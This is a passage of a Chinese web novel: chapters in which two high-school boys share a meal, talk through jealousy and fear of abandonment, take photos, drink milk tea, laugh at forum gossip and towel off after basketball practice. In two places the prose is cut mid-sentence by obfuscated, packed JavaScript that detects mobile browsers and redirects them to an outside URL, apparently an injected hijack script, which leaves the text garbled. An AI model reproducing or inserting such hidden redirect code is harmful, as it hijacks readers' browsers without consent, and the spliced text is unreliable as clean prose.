“我不是因为嫌麻烦啊,”阮牧年对他说,“我是因为你,我想做给你吃。如果别人推荐了什么美食,我可能只会去尝尝看;如果你有什么喜欢吃的,我会亲自下厨……你能明白我的意思吗?” 桑群觉得自己有点拿不稳筷子了。 “桑桑,听完你的话,我其实挺高兴的,”阮牧年咬着筷子,笑了笑,“你会吃醋……这让我发现,原来我们害怕的是同一样东西。” 桑群:“什么?” 阮牧年淋了一勺汤汁在米饭上,居然先吃起了饭。 怎么说话还说一半,桑群心里有些急躁,又说不出自己为什么急躁。 “你赶紧吃啊,”阮牧年终于歇了一下嘴,用手肘怼了怼他,“趁热才好吃。” 桑群忍耐不住:“害怕什么?” “吃完再说,”阮牧年含糊道,“我好饿,闻这个味儿就饿。” 桑群:“……” 明明早上还垫了一杯牛奶来着……算了,他自己也没好到哪里去,吃了油条牛奶,现在依然肚子空空。 事已至此,先吃饭吧。 36. 36 或许每一个正在长身体的高中生都是饿死鬼投胎,四菜一大汤,不限量米饭供应,两人还吃不饱。 最后一块可怜的鱼肉被两双筷子同时夹住。 桑群:“我先的。” 阮牧年:“我好饿。” 桑群:“啧。” 阮牧年:“嘤。” 桑群松了筷子。 简直作弊,桑群幽怨地看着对方咬了一口鱼肉,然后把筷子往他嘴边一凑。 “一人一口嘛,”阮牧年笑着说,“瞧把你饿的。” 桑群吃掉最后一口,觉得这块鱼肉分外美味。 他看了阮牧年一眼,这家伙还在扒拉碗里的米饭。 吃得嘴边都是酱汁,桑群从旁边抽了两张纸,在这家伙终于抬头的时候倾身过去,捧着脸擦了擦他的唇。 阮牧年不动的时候,喜欢睁大眼睛看人,桑群被他盯得有些不自在,手指差点捅进他鼻孔里。 等他拿开纸,阮牧年开口:“桑桑,你怎么耳朵还红红的。” 桑群扔纸的手一僵,什么意思? “刚刚揍你的时候就红了,”阮牧年摸了摸他的耳尖,“怎么现在还这样?” 桑群:“……吃得太火热了吧。” 阮牧年:“可室内不是开着空调吗?” 桑群:“……” 阮牧年向他展示:“你看,我就没有。” 桑群:“……” 这人纯洁得跟张白纸似的,还成天乱撩拨人,他不耳红谁耳红? 桑群:“……要么就是天气预报。” “哦,”阮牧年知道这事,耳朵温度可以预知天气,“明天又出大太阳嘛,都热好几天了。” 桑群:“这事我管不了。” “嘿嘿,”阮牧年伸了个懒腰,倒在他身上,“好嘛。” 熟悉的姿势立刻让桑群回想起前几天被砸的经历,他伸出手想推人:“你……” 阮牧年靠在他肩上:“我保证不乱动啦,让我靠会儿。” 桑群抬起的手放了回去。 “这个香味真的好浓,”阮牧年打了个小小的哈欠,说,“有点渴了。” 桑群:“去买饮料?” 阮牧年说:“照相馆附近有家不错的奶茶店,我听抒……谁说过挺好喝的。” 桑群又开始牙痒痒了,怎么哪里都有他暧昧对象。 “呃,知道这么多是有原因的,”阮牧年摸了摸他的胳膊,解释道,“程抒晴她家就住这附近,所以对这里比较熟悉,之前聊美食就聊到了……” 嚯,连家庭住址都知道了? “嗯,”桑群说,“我没在意。” “你在意得都快哭出来了,”阮牧年皱着眉捧起他的脸,“我跟她就是朋友啊,跟其他人没有什么不同。” 桑群:“……哦。” 阮牧年见他不信,强调道:“真的。” 桑群终于说了一段长句:“连刘嘉都知道你们眉来眼去。” 阮牧年愣了愣:“原来你知道前桌的名字?” 桑群无语:“这不是重点。” “哦哦,重点是……眉来眼去,”阮牧年想了想,“什么啊,那我们也算眉来眼去吧,你不看我吗?” 桑群又说:“你俩走廊密聊。” “什么,”阮牧年无法接受这个控诉,“我是物理课代表啊,又不能在老师办公室谈工作,只能去走廊说了啊……再说了,这个职位不是你投出来的吗?无条件支持,嗯?” 桑群:“……” 没想到有一天搬起石头砸了自己的脚。 “谈工作么,”桑群很快又想到了一个点,“那聊美食又是怎么回事?” 阮牧年:“……你到饭点了不会顺口说两句喜欢吃什么吗?” 桑群:“呵。” “所以呀,真的没什么……” 桑群本来不想说,意图太明显,可话赶话到这里,他忍不住开口:“那你俩的漫天绯闻呢?” 阮牧年顿了一下,挑了挑眉:“你还关注这些啊。” 桑群皱起眉。 “表情好逗,”阮牧年没忍住笑了起来,“这个就更不用担心了呀。我们牵着手都能被当成情侣,我跟另一个女孩子站在一起,会传出绯闻也不奇怪呀。” 桑群还是皱着眉:“以前都没有……” “桑桑,”阮牧年看着他,说,“我们在一块这么多年,你其实……并不太熟悉‘学校里的阮牧年’是什么样的吧。” 桑群张了张口,没说出话来。 好像的确如此。 阮牧年对外的形象,是他凭借别人的三言两语和自己的想象拼凑出来的,阳光帅气有亲和力,廖廖几个形容词,其实并不能代表对方社交生活的全部。 “所以现在你忽然看到谁跟我聊得还算愉快,心里就会有些不平衡,是不是?”阮牧年又躺回他肩上,闭着眼说,“可是……这是我社交的常态呀。要跟别人建立关系,同学、同事或者是朋友,只能通过聊天来增进了解……我还是很难将别人拒之门外的。” 桑群低低地嗯了一声。 “不过我这里不只一扇门,还有第二扇门,”阮牧年继续说,“大多数人都能通过第一扇门。但能进入第二扇门的,只有你,桑群。” 桑群僵坐在那里,心里像被人揉了一把。 “所以我真的……很高兴,”阮牧年在他肩上蹭了蹭,说,“原来你也会因为我跟别人过于亲近而感到难受。我也是的,桑群,我总是在想你推开了那么多人,下一个会不会是我?那一天什么时候到来?” 什么,桑群完全没想到他这个脑回路,摸着这个小麻瓜的脑袋纳闷:“你想什么呢,怎么会。” “是啊,我最开始也是这样想的,怎么会呢?”阮牧年顺着他的抚摸动了动脑袋,“可连爸爸妈妈都能抛弃我,好像也没什么事是不可能的。桑群,我一直在拉着你,我怕我拉不住你,你一直都是这个样子,我不知道我们还能不能一起走下去。但你每天都在看着我,这些话说出去只会惹你生气,我只好自己惴惴不安。” 桑群的手忽然被人拿开,他看向阮牧年:“你……” 阮牧年支起脑袋,在他旁边说:“我总是告诉自己不会的、不会的。可原来有一天,连阿君羊都会不愿意牵我的手,就因为别人的两句话……除了生气,我更多是在害怕,你说得对,我就是个胆小鬼,我害怕失去关注的每一秒,害怕这是个征兆,害怕那个终会到来的某一天……呜。” 一颗豆大的泪珠从他眼眶里落下,悄无声息。 阮牧年及时止住了话音,抿着唇没说话。 桑群有些慌了,赶紧捧起他的脸:“怎么还……” “没事的,”阮牧年看着他,居然还能笑,“我很早就不爱哭了呀。只是在你面前会忍不住而已。” 这话是真的,除了那滴突如其来的泪水,阮牧年没再掉第二滴眼泪,声音也没有鼻音。 桑群只觉心脏狠狠抽动了一下,舌底泛上比酸菜鱼汤更加酸涩的滋味。怎么这么惹人心疼?他用手指拭去那点泪水,面前的人却还在笑。 “对不起,”桑群垂着眼想抱他,又怕错过他的表情,只好一直摸着他的发顶,“我没想到……是我的错。但不会有那一天的,我向你保证,不会有的。” 为了自己的那点私心,让年年变得如此患得患失,说好做他的后路,却这般不称职,桑群唾弃这样的自己,只好用诺言框住自己的行为。 许下了承诺就要做到,这是他一直以来的信条。 所以不论如何,他都会回握紧阮牧年伸过来的手,绝不主动松开。 阮牧年看着他,轻声道:“抱我一下,好不好?我不会哭的。” 桑群毫无抵抗之力,将他拥进怀里。 “你不要觉得抱歉,从正常人的角度看,本来就是我太黏人了呀,”阮牧年拍着他的背,刚刚还掉眼泪的家伙,居然在反过来安慰他,“只是我在知道你也会不爽难受的时候,是真的很开心……原来我们在共享着同一种害怕,你的在乎能击碎我的惶恐,让我感受到一丝真实,我……” “你一直都是这样的人,”桑群抱着他,“我知道。” 阮牧年笑了笑,放开他:“那我也知道,你最喜欢我了。” 桑群已经顾不上品味尴尬和暧昧,只顺着他的话点头:“嗯,对。” “不要再松开我了,”阮牧年看着他的眼睛说,“我可以生气,可以骂你、揍你,但我不想再害怕了。” “好,”桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他能理解阮牧年喜欢黏着他,害怕一个人,却不能理解这家伙为什么热衷于跟他假扮情侣,四处招摇? 上次去游乐场也是……难道这小子其实是隐藏的省钱小能手? “桑群,”阮牧年晃着他的手,“你有没有听我说话?” 桑群回过神:“什么?” “我说,这底下还有个玫瑰花形状的东西,”阮牧年把袋子递过来,“你拿出来看一下。” 好好的两个人,偏要整成只有一双手的样子。桑群无奈地伸出左手掏了掏,还真拿出了一个小玩意。 “这是什么?”桑群转着手没看明白。 看着就像一个装饰品,既没有吊绳,也没有别针。 阮牧年摸了摸,又凑近闻了闻:“诶,会不会是香氛?” 桑群:“什么?” “总之就是,女孩子会喜欢的东西吧,”阮牧年让他把香氛放回去,说,“你带回去送给阿姨。” 桑群:“哦。” 在家啥也不干,有人送饭上门,还有礼物拿,他妈这日子过得可真好啊。 阮牧年左右看了看,捏了捏他的手指:“走那里,人有点多。” 桑群闻言握紧了他的手:“嗯。” 几经波折,终于抵达照相的地方,店老板是个温婉的女人,一个劲夸阮牧年帅气上相,还问桑群要不要一起拍。 “可以拍一组双人照嘛,来都来了。”老板娘推荐道。 桑群怀疑她其实想说情侣照。 阮牧年用眼神问他:要不要? 桑群心里叹气:哦。 阮牧年回头:“那先拍我单人的吧,给他也拍个单人的,然后再拍双人。” 这次的照片拍好,阮牧年非常满意,对着那堆小纸片欣赏了半天。 老板娘捂着嘴小声跟桑群搭话:“你这小对象真可爱呢。” 桑群:“……他是我哥。” “咦,看不出来啊,”老板娘惊诧地看了看两人,有些疑惑,“我还没看走眼过呢……” 桑群在心里重重地叹了口气。 托阮牧年的福,全世界都知道他俩是一对了。 37. 37 拍双人照的时候,老板娘本来构思了很多动作,但又想起那个冷脸小哥的话,最后只能说:“先搭个肩吧。” 桑群自然地搂住阮牧年的肩膀。 兄弟是这样搭肩的吗,老板娘不语,咔咔按快门。 “再一起比个耶吧。” 阮牧年说:“比耶有点傻傻的,比个心吧。” 半边心形已经凑过来,桑群无法拒绝,只好配合他凑出另一半心。 兄弟都喜欢比心吗,老板娘不语,继续咔咔按快门。 “再想个别的姿势?”老板娘已经放弃努力,把难题抛给当事人。 阮牧年摸着下巴沉思了一会儿,开始指挥桑群的手脚。 他把胳膊绕到桑群脑后,在后者头顶比了个兔子耳朵——不能说比耶,那很傻——然后躺在桑群肩上,让对方的手搭在自己腰上。 “你酷一点,”阮牧年说,“这样子配上兔耳朵才有反差萌。” 桑群直挺挺坐在那里,想不通怎么会摆出这样的姿势……真的不是在拍结婚照吗? 兄弟会这样摆姿势吗,老板娘不语,疯狂咔咔按快门。 两人在店里待了一会儿,很快拿到了打印好的相片,用小纸袋装好放进背包里。 “走吧,”阮牧年拍了拍桑群,“去喝好喝的,渴死我了。” 桑群牵着他,远远就看见了他说的那家奶茶店。 装潢可爱,杯子包装少女风十足,放眼望去几乎全是女性顾客。 桑群冷笑:“呵,粉粉嫩嫩的。” “怎么,”阮牧年立刻反问,“你对粉色有什么意见吗?” 桑群顿时想到之前被某人硬套上去的粉色卫衣,抿嘴不说话了。 “喝果茶还是奶茶啊?”阮牧年仰头看着上面的菜单问。 “果茶。”桑群秒答。 “咦,他们好像有一款什么轻乳茶新品,还带奶盖诶,”阮牧年很快决定好了自己的饮品,开始向店员搭话,“你好,我要一杯这个和那个……” 听他说不要袋子的时候,桑群扭头问:“不带走?” “带去哪儿啊,”阮牧年说,“下午太阳就更大了,不如在店里吹空调呢。” 他还要在这里喝?桑群环顾四周,觉得难以落脚。 “哦,你觉得别扭吗,”阮牧年探头看了看旁边,“只是非常可爱的小凳子和小桌子呀,又没让你戴动物发箍什么的。” 桑群:“……” “你去找位置坐,”阮牧年松开他的手,推了推他,“我在这等,别到时候得站着喝。” 那倒不至于,桑群很快找到一个墙角的位置,四人桌,只有一面是玻璃,旁边人也不多。 他走过去坐下。 隔了几米的一桌女孩子正聊着什么,忽然止住了话音,往他这里看。 虽然桑群一般不会在意这种视线,但她们连奶茶都不喝了就直盯着……太刻意了吧。 直到阮牧年捧着两杯奶茶走过来,在他旁边坐下:“做好了哦,你尝一口。” 桑群顿时感到那些目光消失了,取而代之的是听不真切的窃窃私语。 “……” 看来又有一群人知道他和阮牧年的恋爱关系了呢。 “你怎么了,脸色不太好呢,”阮牧年担忧地摸了摸他的额头,“吃鱼吃坏肚子了?” “……没,”桑群拿过奶茶喝了一口,“嗯,挺好喝的。” 阮牧年皱眉:“还说没有?你喝的是我的奶茶啊。” 桑群:“……” 他看了看手里的粉色杯子,侧面的标签赫然印着“轻乳茶”、“奶盖”。 自己的果茶是紫色杯子,阮牧年按他喜好挑的,主打一个口感清爽。 桑群叹了口气,把奶茶还给他:“就是……有点不自在。” “如果别人的目光无法忽略的话,”阮牧年咬着吸管喝了一口,“我教你个办法,去坦然接受它们。” 桑群:“怎么说?” 阮牧年对他笑了笑,放下奶茶,居然直接扭头跟那桌的女孩打了个招呼:“哈喽小姐姐们,下午好呀。” 桑群吓了一跳,这什么社交悍匪。 那边笑成一片,积极地跟他挥手打招呼,说着你好呀帅哥下午好呀。 “刚才我就注意到你们桌上的甜点了,”阮牧年笑着搭话,“是什么口味的呀?味道怎么样?” 开了一个话题,双方顺着聊了几句,阮牧年适时收尾,回过身来,桑群能感受到那些目光和私语再也没有了。 “……神奇,”桑群说,“但对我来说,还是太难了。” “所以呀,”阮牧年吸着奶茶说,“这个故事告诉你,出门在外要随身携带年年聊天大师呀。” 桑群没忍住捏了捏他的脸蛋:“嗯。” 阮牧年叼着吸管,拿出手机看了一眼:“诶?” 桑群看他。 阮牧年说:“都怪你。” 桑群:“?我怎么了。” “那天你找我之前,是不是问过高璋有没有训练?”阮牧年把聊天框怼到他面前,“现在好了,真的要训练了呜呜。” “哼,”桑群嗤了一声,“情理之中。” 阮牧年秒接:“中流砥柱。” 桑群莫名其妙:“竹篮打水。” 阮牧年:“水漫金山。” 桑群:“山高路远。” 阮牧年:“远近闻名。” 桑群:“名门望族。” 阮牧年:“足智多谋。” 桑群:“mou……” 谋?眸?哞? 他败下阵来:“某人输了。” 阮牧年笑了半天:“跟我比成语接龙呢,你再多看看书吧。” 桑群:“……你先开始的吧。” “哦?是嘛,”阮牧年挠了挠头,“没事不重要,你输了哦,待会儿请我吃烤串吧。” 桑群:“?你又饿了?” “那是下午茶啊,”阮牧年摸着肚子,“现在确实没那么饿,但也不算太饱。” “……多喝点奶茶吧。” “突然有点想吃烤年糕,”阮牧年划拉着手机,“都给我看饿了。” 烤年糕?好耳熟的词,桑群回头问:“看什么。” “学校论坛的新红人呀,烤年糕同学,”阮牧年把手机推到两人中间,给他一起看八卦,“凭一己之力打破龙虎之争的多年平衡,其后究竟是哪股势力操盘?看似简单的一票背后,隐藏着何种黑幕与真相?” 桑群:“???” 等等,烤年糕……那不就是他注册论坛用的ID吗? “什么……东西?”桑群艰难地问。 阮牧年简单给他讲了一下投票帖的事,然后说:“而现在烤年糕投完票之后就销声匿迹了,很难不让人怀疑他是不是故意引起争端的,两方人员都在不满呢。” 不是故意的,是不小心点到的啊。 烤年糕本人有冤难言。 “双方都不满,为什么?”桑群不理解,阮牧年比他多一票,难道不该高兴吗? “当然是因为平票的时候,大家还处在相互制约的状态,一旦一方高出一票,另一方觉得不够真实,怀疑对方搞黑幕,而高票的莫名被扣上帽子,自然也觉得不高兴啊。” 桑群:“……是么。” 上个论坛而已,这么较真? “哈哈,”而作为当事人,阮牧年看着八卦笑出声,“给你看看目前主流的三大传闻。” 桑群:“哦。” 听听看吧,自己会被抹黑成什么样。 “首先是烤年糕这个名字和阮牧年关联性极大,”阮牧年摇着奶茶杯说,“很有可能是本人上号,出于自信自恋或者自大等各种原因,给自己投了一票。” 桑群心说,扯淡呢。 “一眼假哈哈,”阮牧年笑着说,“我早就投过票了,哪儿还有机会再投。” 桑群:“?” “投过了?”桑群问,“投给谁?” “不告诉你嘻嘻。” 阮牧年冲他眨了眨眼睛,又继续道:“第二条传闻其实更扯,烤年糕是……噗,不行我很想笑,是桑群本人上号哈哈哈……咳咳,噗。” 桑群呆住,什么,这就被人猜到了? 还有这家伙为什么笑得这么开心? “据传闻,”阮牧年咳了好几声才恢复正常声线,“桑群其实是阮牧年粉丝后援会隐藏大佬,烤年糕是他在江湖上的专属代号。可惜他丢号许久,这次终于找回,一上线就给喜欢的牧年投上宝贵一票,再下线深藏功与名……” 桑群忍不住了:“写书呢。” “骂早了,”阮牧年摇摇头,“你来看下面这个。” 什么东西? 阮牧年清了清嗓子:“最后一种说法便是,桑群与阮牧年水火不容许久,本就互看不顺眼,还要跟死对头坐同桌,更可气的是,桑群暗恋程抒晴……” 桑群差点失声:“谁?” 谁编的传闻,用脚写的还是蘸着自己脑浆写的? “别打断我,”阮牧年拍了他一下,继续说,“桑群暗恋程抒晴,可女神竟与死对头传出绯闻,更有小道消息声称这两人早已私定终生。桑某怒极买人创号,让烤年糕故意去给阮牧年投票,借此利用论坛舆论抹黑对手,让女神擦亮眼睛重新看到更加优秀的自己……” 桑群已经无力吐槽,深深吸了一口果茶:“……神经病吧。” “哈哈哈哈哈最后一条很有意思啊,基于实情再想象,”阮牧年给这个猜测帖点了个赞,又翻了翻,“咦,已经有人写了?” 桑群:“写什么?” “《邪魅酷拽校霸追爱99次:抹黑死对头后我成功迎娶女神》,”阮牧年吸着奶茶,“够猎奇,收藏了。” 桑群:“???” 他这才注意到阮牧年手机里的页面该死的眼熟,这不就是那个毁人青春的校园论坛吗? “你不是忘记密码了?”桑群皱眉,“这是什么?” “那天你提醒了我,我回去又试了一下,就登上来啦,”阮牧年说完,觉得有点不对劲,“咦,你怎么知道这是论坛?” 桑群:“……上面不是写着么。” 阮牧年一看,确实有网站logo和网址名称:“是哦。” 桑群心里擦汗,好险,差点露馅了。 见他还在划拉,桑群连忙教育:“少刷论坛,乌烟瘴气的。” 阮牧年头都不抬:“别吵,我找东西呢。” 桑群:“?” 他凑过去,发现手机里面的页面变了个模样,网格状,有好多标字的方块。 最上面一栏的正中间写着:书架。 论坛还有这功能? “啊找到了,”阮牧年飞快划动的手指停下,喃喃道,“同桌的他……什么,已经完结了吗……” 桑群:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356315|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……?” 又是好耳熟的词,查SNS的时候好像见过,是什么来着? “晴天还是太勤奋了……哦哦等等有预收,好耶……”阮牧年继续小声叽咕叽咕,但实际上桑群听得一清二楚。 他想起来了,这不就是那本同人文的书名? 那不是意味着……阮牧年、追、他俩的、同人文??? 桑群抬起有些发颤的右手,支在额角,感觉呼吸又有些不畅。 “你……”他深吸一口气,问,“看这些干什么?” “好看啊,”阮牧年忙着戳戳戳,可能在收藏点赞送花评论什么的,“你想看吗,我发你啊。” 要放以前桑群肯定拒绝了,他对文字类娱乐方式不感兴趣,不如多看几部番呢。 但现在,他张了张嘴,半天吐出一个字:“……哦。” 阮牧年终于忙完了,抬头看了他一眼:“你真要看啊?” 桑群别过脸,假装不在意地喝了口果茶:“随便。” “桑桑。” 那道清澈的嗓音忽然凑近,音量压低后,无端添了份暧昧的蛊意。阮牧年揽着他的右肩,唇几乎贴着他的左耳畔,温热的气息直扑耳廓。 桑群右手尾指抽动了一下,左半边身子近乎酥麻。 “在那篇文里……”阮牧年低声调侃,“我们可是真情侣哦。” 明明穿了衣服,为什么会觉得阮牧年的手指就搭在他的肌肤上,接触的部分异常燥热。 好热。 这里真的开空调了吗? 别慌,看点什么,杯子已经看腻了,又不敢跟阮牧年对视,桑群瞥向自己的左手,居然也在细细发着颤。 他赶紧双手交握放在桌上,若无其事开口:“哦。” “嗯?” 阮牧年不仅没有撤开,反而继续贴着他的耳朵说话。 耳上传来温热的触感,耳垂被人轻轻一拉。 “咦,你怎么……” 简直受不了了,桑群猛地往旁边挪了半个屁股,捂住自己发烫的左耳质问:“你干什么?” “啊?”阮牧年一脸茫然,“我没干什么啊。” 桑群皱着眉,右手藏在身后悄然攥紧,借着指甲挤压掌心的疼痛让自己清醒。 “我都没用力啊,”阮牧年摸不着头脑,“真的,我就是轻轻碰了一下。是你的耳朵很奇怪啊,一直红红的,过敏了吗?” 桑群抿了抿唇,脑子在急速运转编理由。 见他还要再凑过来观察,桑群伸手按住他的肩膀,乱扯了一个:“怎么,允许你的大腿敏感,不允许别人耳朵敏感吗。” “啊,”阮牧年挠了挠头,“是嘛,我就说了几句话啊。” “能一样吗,耳朵神经多,大腿又不是,”桑群喝了口果茶缓解尴尬,说,“你少乱碰。” “可它现在红得都快滴血了,”阮牧年担忧地看着他,“真的没事吗?你这是单耳性还是全耳性?” 什么乱七八糟的,桑群见鬼说鬼话:“这是神经性过敏。” “你蒙谁呢,”阮牧年无语,“我虽然不学生物,但好歹也知道敏感和过敏是两回事。” “信我还是信教科书。” “这有什么好比的,”阮牧年切了一声,“行吧,信你。” 桑群点了点头,过一会儿又抬手按着他的脑袋转了个方向:“别老盯着我看,小心我也看你大腿。” “哇,”阮牧年被迫跟自己的轻乳茶面面相觑,“你好变态。” 桑群:“不想被变态缠上就乖乖待着。” 阮牧年咬着吸管嘎嘎笑:“但我就喜欢变态,刺激嘿嘿。” 差点把吸管捅进鼻子里,桑群定了定神:“……找骂。” 阮牧年开始捧着奶茶摇头晃脑的,边喝边摇腿。 桑群强忍着没去看他,短短一会儿就浑身难受。 一小块果肉顺着吸管流入口腔,牙齿咬下,满口酸涩。 桑群轻轻皱了下眉,心里像被防尘罩包住一样闷。 要这样装一辈子吗。 想想就好累。 但是。 他还是没忍住,扭头看了一眼旁边自顾自哼哼的阮牧年,又好笑又可爱。 想起对方说宠物可以治愈疲劳的话,年年也是一样的吧,看一眼就能让他心情变好。 阮牧年伸出一根手指警告他:“你偷看了哦。” 桑群无奈:“我没偷看。” 都这么明目张胆了。 “哼哼不管,你就是偷看了,”阮牧年双指并立,施法似的对着他画圈,“敢偷看年年大王,你完蛋了嘿咻。” 小孩儿似的,桑群点头顺着他:“好,我完蛋了。大王有什么安排?” “罚你在10分钟之内把果茶喝完,”阮牧年咬着吸管开始指挥,“然后跟大王一起去横扫美食街!” 桑群叹了口气:“你还吃啊?今年的目标是出栏吗?” “你骂谁呢,我这是提前储备能量,”阮牧年担忧地摸了摸自己的肚子,“毕竟很快就要训练了……啊啊今天要大吃特吃。” “别太有压力,”桑群安慰他,“你就算打不好也没关系,大不了……” 阮牧年双眼放光:“你替我上场?” “……大不了输就输了,”桑群把话说完,“我才不接你的烂摊子。” 阮牧年:“……” 他悲愤地站起来:“现在就出发!” 38. 38 桑群一直以为阮牧年只是找个借口吃喝,篮球赛训练能有多累?他练习接力赛的时候,大家都很摆,不也练得好好的。 返校的第一节体育课,老师刚宣布解散,体委就招呼着男生们上球场。 一般这种时候桑群会自己找个阴凉地歇着,但今天太阳不是很大……嗯,那就去操场边的看台上坐会儿吧。 他只是歇脚,不是为了看阮牧年。 ……虽然这个位置视角确实不错。 他对篮球赛不感兴趣。 ……只是这个位置比较舒服而已。 体委找的高一朋友陪练,几人简单商量了一下,就很快开始实战。 一群人像马儿奔腾似的跑动起来。 桑群看了两眼,又抬头看了看天。 篮球赛没什么好看的。 耳边传来那边围观女生的惊呼声,谁进球了,喊得还挺大声。 桑群瞥了一眼,哦阮牧年啊,那没事了。 话是这么说,搭在膝头的手指情不自禁地敲了两下。 旁边树底下有一大一小的两只蜗牛正在缓慢爬行,桑群在心里掐表,猜它们需要花三十秒才能越过前面那片树叶。 三十秒还没到,球场那边又传来激烈的响动。 桑群没忍住又看了一眼。 切,盖帽而已,没意思……等等,谁盖谁的帽? 他眯了眯眼,看见某个熟悉的身影往后踉跄了两步,被对方球员围堵住。 废物,这都能被人抢走球。 再一看,抢阮牧年球的人目测身高一米九五往上,在一群男生里面鹤立鸡群。 桑群:“……” 他默默移开眼,继续给蜗牛数秒数。 加油,看阮牧年这上半场打完,你们能不能爬到那块石头旁边。 事实证明并不能,因为蜗牛们爬到一半就停住了,开始用触角交流,似乎在闲聊。 没东西看了,无聊,桑群转过眼,篮球训练如火如荼。 他是实在无聊,才开始看篮球赛的。 绝对不是奔着它来的。 找好借口,桑群终于可以心安理得地开始看他们训练。 说是实战,实际上每进一个球,体委都会站出来比划两下,给球员们指导。 整场下来,只有阮牧年没被比划过。 技术还行,毕竟是他亲自教出来的。 不知何处吹起了风,桑群往后靠了靠,看着那道身影跑来跑去,上蹿下跳。 从这个距离看,阮牧年跟蜗牛差不多大小,只是卸去了蜗壳,更加敏捷,也更加自由。 想起他刚拿球时,往自己脑袋上砸的糗事,桑群没忍住轻嗤了一声。 现在……已经是可以稳定进球的高手了啊。 看着他们快打完了,桑群起身绕过操场,往行政楼后面走去。 刚才下楼的时候,他把书包暂时放在了假山背后。 没过一会儿,小径上传来一阵急促的脚步声。 阮牧年东张西望:“桑群?” 桑群拎着书包走出来:“这。” “我好热好热好热,”阮牧年围着他打转,“好想脱光衣服啊啊。” “别绕着我,头晕,”桑群把人拨到一边去,“敢脱就脱呗。” 阮牧年怂了:“我不敢。” “哼,”桑群往外走,“跟上。” 据六爷对二中校园的资深考察,行政楼有一处高级厕所,专供教职工使用,内置钛合金马桶。 桑群打开隔间门一看,除了马桶不是钛合金的,其他条件都还不错。 阮牧年推着他挤进来,一屁股坐在马桶盖上。 桑群合上门,皱着眉要拉他起来:“脏不脏,擦了再坐。” “不了不了不了,”阮牧年抓着他的手直摇头,“我回家就洗裤子,让我坐会儿。” 桑群把书包挂到旁边的钩子上,问:“这么累?” 阮牧年吐着舌头:“你没去看我吗?” 桑群:“……看了。” “那还不累啊?”阮牧年撇了撇嘴,“我要热炸了呼呼。不是谁都像你一样厉害的,我已经在努力训练了。” “嗯,很努力,”桑群从书包侧边掏出保温杯,里面是早上刚从冰箱拿出来的运动饮料,“喝点水吧。” “好凉快哦。”阮牧年把脸凑到杯口感受了一会儿冷气,才小小喝了一口润喉。 “你拿一下,”阮牧年把杯子还给桑群,说,“我要脱衣服。” 桑群:“哦。” 以前是没什么,澡都是一起洗的,现在阮牧年忽然说了这么一句,他顿时感到有些不好意思。 想盯着他看,怕自己眼神不对,想不去看他,又怕被说行为太奇怪。 阮牧年抓着衣服下摆要往上脱的时候,桑群连忙拧开瓶盖喝了口饮料,掩饰不自在。 湿衣服被团成一团,阮牧年坐在那里晃了晃脑袋,闭着眼长出了一口气:“呼,感觉凉快多了。” 假期吃那么多,身材还没变形啊,桑群不由自主往他身上看,又很快移开目光,给自己找了件事做:“衣服给我。” 阮牧年把手里的湿垃圾递了出去。 桑群专心致志地叠起衣服,又在书包里翻了翻,掏出一条汗巾扔给他:“擦汗。” “好哦。” 阮牧年把脸埋进汗巾里,左右摇晃蹭了蹭。 桑群用余光看他:“别捂着,待会儿憋坏了。” 阮牧年把汗巾摊开,盖在胸前,等了两秒,然后再拿起来:“擦好了。” 桑群:“……谁教你这么擦汗的。” “我不想动啊,”阮牧年其实还想靠在水箱上,但那玩意碰皮肤是真的脏,邋遢如他也不能接受,只能辛苦地挺直腰板,“我就想这样待会儿……一会儿汗就干了……” “笨,等风吹干会感冒的,”桑群看不下去了,拿走汗巾,“背过去。” “哦哦。” 阮牧年乖乖转身。 桑群之前并不觉得擦背是一件很困难的事。 洗澡的时候,他甚至还帮阮牧年搓过身子,而且不止一两次,毕竟这家伙很容易犯懒。 可现在,薄薄一条汗巾仿佛不存在,指尖能够清楚地感受到肌群的起伏和线条,擦得太快汗巾会皱,速度慢下来又是另一种折磨。 桑群艰难地擦了一会儿,手里的背动了动,阮牧年扭过头:“你怎么不扶着我啊。” “什么?” “单手擦得动吗,”阮牧年晃了晃 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桑群深吸一口气,再次拿过汗巾:“坐直了。” 阮牧年挺起胸膛,笑得很开心:“好哦。” 汗巾擦过阮牧年胸口的时候,桑群已经不太能背得下政治课本,脑子里几乎一片空白。 虽然一直知道对方衣服下的模样,但像这样用指腹、掌心一点点擦过的经历还是第一次。 头皮已经开始发麻了,手指也不知道会擦过什么部位,理性从大脑离家出走,能感知的一切只剩下手里温热起伏的躯体,和自己胸腔里剧烈的心跳。 阮牧年仰着头闭眼享受,厕所虽然没有空调,但擦了汗确实舒服,有种浑身毛孔都张开的舒畅感。 桑群擦到他肚子的时候,他坐直了一点,跟他炫耀:“给你看我的腹肌,帅吧。” 桑群没应声。 自卑了?不应该吧。 阮牧年抬手摸了摸那颗低着的脑袋,很快发现对方鬓发下泛红的耳尖,手指下意识伸过去。 “桑群,你这里……” 指尖刚触及发烫的皮肤,就被桑群应激躲开。 接下来发生的事令人措手不及。 耳朵被碰,桑群手上一慌,下意识按在了阮牧年大腿上。 而阮牧年还没从疑惑中回过神来,大腿受压,身体条件性反射地弹了一下,小腿踢到桑群的膝盖上。 桑群疼得一抬头,而阮牧年被按得蜷起肚子低下脑袋—— “嗷!” “嘶。” 两人同时捂住了自己的下巴或头顶。 这人搞什么,桑群皱着眉抬眼想骂他,却发现阮牧年的鼻尖就在自己眼前,再近一点就能贴住。 他们不知何时已经靠得这么近。 而阮牧年捂着下巴眯起眼,眼尾有些泛红,张开唇瓣似乎想说话。 桑群僵在原地,喉结上下滚动了一下。 这个姿势好像在…… “啪。” 就在这时,隔间外的厕所门传来动静。 有人来了。 39. 39 